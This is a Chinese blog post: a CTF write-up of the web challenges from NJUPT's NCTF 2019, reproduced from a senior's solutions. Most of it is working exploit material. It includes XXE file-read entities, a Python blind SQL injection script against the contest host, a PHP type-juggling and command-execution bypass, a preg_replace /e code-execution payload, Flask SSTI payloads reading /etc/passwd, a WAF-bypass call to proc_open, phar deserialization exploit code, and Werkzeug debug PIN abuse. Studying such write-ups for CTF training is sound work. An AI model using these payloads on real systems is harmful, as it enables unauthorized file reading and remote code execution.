[WRITEUP]2019NJUPT web题解
前言
考试错过了比赛,题目还没关,拿学长WP@somnus复现一波
Fake XML cookbook
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///flag">]>
<user><username>&passwd;</username><password>&passwd;</password></user>
True XML cookbook
按第一题payload打无法读到flag,为空,也无法执行命令
尝试查内网
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///proc/net/arp">]>
<user><username>&passwd;</username><password>&passwd;</password></user>
丢到intruder模块遍历
sqli
一个sql注入
提示我们需要得到结果
注入发现'
被过滤,但是\
未被转义
这样就可以用username符号前面单引号去闭合password单引号,但是最后一个单引号需要注释,常用注释符号被过滤完
查了而下%00
可以用来注释
得到一个302跳转
username=123\&passwd=||1;%00
需要注出password字段
select被过滤,但是问题不打,因为是在同一个表内,可以直接操作passwd列名.
现在就是要构造语句,sleep被过滤无法延时,只能考虑bool盲注
利用正则匹配进行盲注
逻辑很简单,
true => 302
false => 200
需要注意数据字段表中还有其他password值,需要先确定第一个字符
跑完脚本发现第一个字段为y
后续结果较合理
exp
import requests
import string
str1 = string.ascii_letters+'_'+string.digits
url = "http://nctf2019.x1ct34m.com:40005"
tmp = '79'
result='y'
for i in range(0,50):
for j in str1:
data = {
'username':"0\\",
'passwd':f'||passwd/**/regexp/**/0x{str(tmp)+hex(ord(j))[2:]};{chr(0)}'
}
#print(data)
rep = requests.post(url,data=data)
#print(rep.status_code)
if "back to get" in rep.text:
tmp+=hex(ord(j))[2:]
result+=j
print(result)
break
#you_will_never_know7788990
任意用户名+’you_will_never_know7788990’ 即可得到flag
easyphp
<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
$cmd = $_GET['q_w_q'];
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."<br>";
}
else{
die('23333333');
}
//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'cxhp', '0123');
$b = strtr($md5_2, 'cxhp', '0123');
if($a == $b){
echo '2nd ok'."<br>";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}
//3rd
$query = $_SERVER['QUERY_STRING'];
if (strlen($cmd) > 8){
die("too long :(");
}
if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){
$arr = explode(' ', $cmd);
if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){
if(substr_count($cmd, 'cat') === 0){
system($cmd);
}
else{
die('ban cat :) ');
}
}
else{
die('bad guy!');
}
}
else{
die('nonono _ is bad');
}
?>
23333333
第一层绕过: num=23333%0a
原理:利用$无法匹配换行符号\x0a
第二层绕过,限制流程是先经过is_numeric数值判断,在将讲闯入的两个参数进行md5运算,替换其中的cxhp字符为0123
那这里考察的就是弱类型了
关系如下==
在判断0e科学计数法会判断两个数值为true,但是若其中添加a-z则判定不相等
所以思路就是便利数值1-999999999(任意数值)进行md5,取出两个0e开头的md5结果且其中英文字母只包含字符的cxhp
,其余的都为数值0-9
import hashlib
def md5(s):
return hashlib.md5(s.encode(encoding='UTF-8')).hexdigest()
for i in range(1,9999999):
flag = 1
j = md5(str(i))
print j + " "+str(i)
if j[0:2] == '0e':
for z in j[2:]:
if z not in "0123456789c":
#if z not in "0123456789hxp":
flag = 0
break
if flag == 1:
print "------------------md5("+str(i)+")="+j
break
最后需要传入q_w_q
参数,但是要求不能出现_, %5f
,利用php特性.
会转换为_
要求输入的命令不能过程,使用linux正则符*
去匹配文件
q.w.q=head%20f*
最终payload
?num=23333%0a&str1=2120624&str2=240610708&q.w.q=head%20f*
replace
界面侯丹代码preg_replace 存在/e
代码执行
过滤了引号
sub=123&pat=123&rep=highlight_file(chr(47).chr(102).chr(108).chr(97).chr(103));
flask
访问url/字符 ,会出现在界面,可能存在SSTI
输入{{1+1}}
http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__bases__.__getitem__(0).__subclasses__()[40]('/etc/passwd').read()%7D%7D
读取/etc/passwd
http://nctf2019.x1ct34m.com:40007/%7B%7B[].__class__.__bases__.__getitem__(0).__subclasses__()[40]('/fla'+'g').read()%7D%7D
Upload your Shell
上传文件拿到shell地址
shell文件内容
利用文件包含执行shell
hackbackdoor
<?php
error_reporting(0);
if(!isset($_GET['code']) || !isset($_GET['useful'])){
highlight_file(__file__);
}
$code = $_GET['code'];
$usrful = $_GET['useful'];
function waf($a){
$dangerous = get_defined_functions();
array_push($dangerous["internal"], 'eval', 'assert');
foreach ($dangerous["internal"] as $bad) {
if(strpos($a,$bad) !== FALSE){
return False;
break;
}
}
return True;
}
if(file_exists($usrful)){
if(waf($code)){
eval($code);
}
else{
die("oh,不能输入这些函数哦 :) ");
}
}
${%80%80%80%80^%df%c7%c5%d4}{%df}('/readflag');&%df=highlight_file
proc_open执行readflag输出到/tmp/aa
http://nctf2019.x1ct34m.com:60004/?useful=/etc/passwd&code=$b=${%80%80%80%80^%df%c7%c5%d4}{q}(%27/readflag%3E/tmp/aa%27,[],$z);&q=proc_open
读取flag
http://nctf2019.x1ct34m.com:60004/?useful=/etc/passwd&code=$b=${%80%80%80%80^%df%c7%c5%d4}{q}(%27/tmp/aa%27);&q=highlight_file
phar matches everything
catchmime.php源码泄露,很明显考点是phar反序列化
exp
<?php
class Easytest{
protected $test;
public function __construct(){
$this->test='1';
}
}
class Main{
public $url;
public function __construct(){
$this->url = 'file:///etc/passwd';
}
}
$a = new Easytest();
echo urlencode(serialize($a));
$f = new Main();
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setMetadata($f);
$phar->addFromString('exp.txt', '123');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
上传文件,读取/etc/passwd
File is an image - image/png.The file f59a38e6c0.png has been uploaded to ./uploads/
内网地址10.0.0.2
内网10.0.0.3开放,并使用php-fpm处理请求
利用gopher+ssrf打php-fpm(未授权漏洞)
https://evoa.me/index.php/archives/52/#toc-SSRFGopher
后面拿自己写的exp打也不行,拿学长打的也不行,不知道出啥问题,先鸽了.最后在绕过base_dir即可
flask_website
存在debug界面,且任意文件读取
考点为利用PIN任意代码执行 参考链接:https://xz.aliyun.com/t/2553#toc-2
这里有个坑点是主机的machin-id 不是直接主机获取,是docker获取
1:name=systemd:/docker/d405cfad80134749974dbff9adf048923357c30f70c44305b1bc424efd4357c8
mac 地址:file:///sys/class/net/eth0/address
用户名:/etc/passwd
osword@papertiger:~/Desktop$ python PIN.py
276-798-350
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!